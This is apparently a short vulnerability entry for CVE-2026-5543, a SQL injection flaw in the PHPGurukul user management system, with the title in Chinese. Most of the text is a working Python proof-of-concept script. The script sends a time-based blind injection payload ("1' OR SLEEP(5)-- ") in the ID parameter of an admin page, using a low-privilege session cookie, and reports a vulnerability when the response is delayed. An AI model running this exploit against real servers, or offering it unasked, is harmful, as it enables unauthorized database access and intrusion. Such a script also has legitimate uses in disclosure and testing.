CVE-2026-5543 PHPGurukul用户管理系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://example.com/admin/yesterday-reg-users.php" # Attacker's session cookie (Simulating low-privilege user) cookies = { "PHPSESSID": "attacker_session_id_here" } # Malicious payload to test SQL Injection # Payload: ' OR SLEEP(5)-- (Testing for Time-Based Blind SQL Injection) payload_params = { "ID": "1' OR SLEEP(5)-- " } try: print("[+] Sending malicious request to target...") response = requests.get(target_url, params=payload_params, cookies=cookies, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection confirmed (Time-based delay detected).") else: print("[-] Exploit attempt failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}")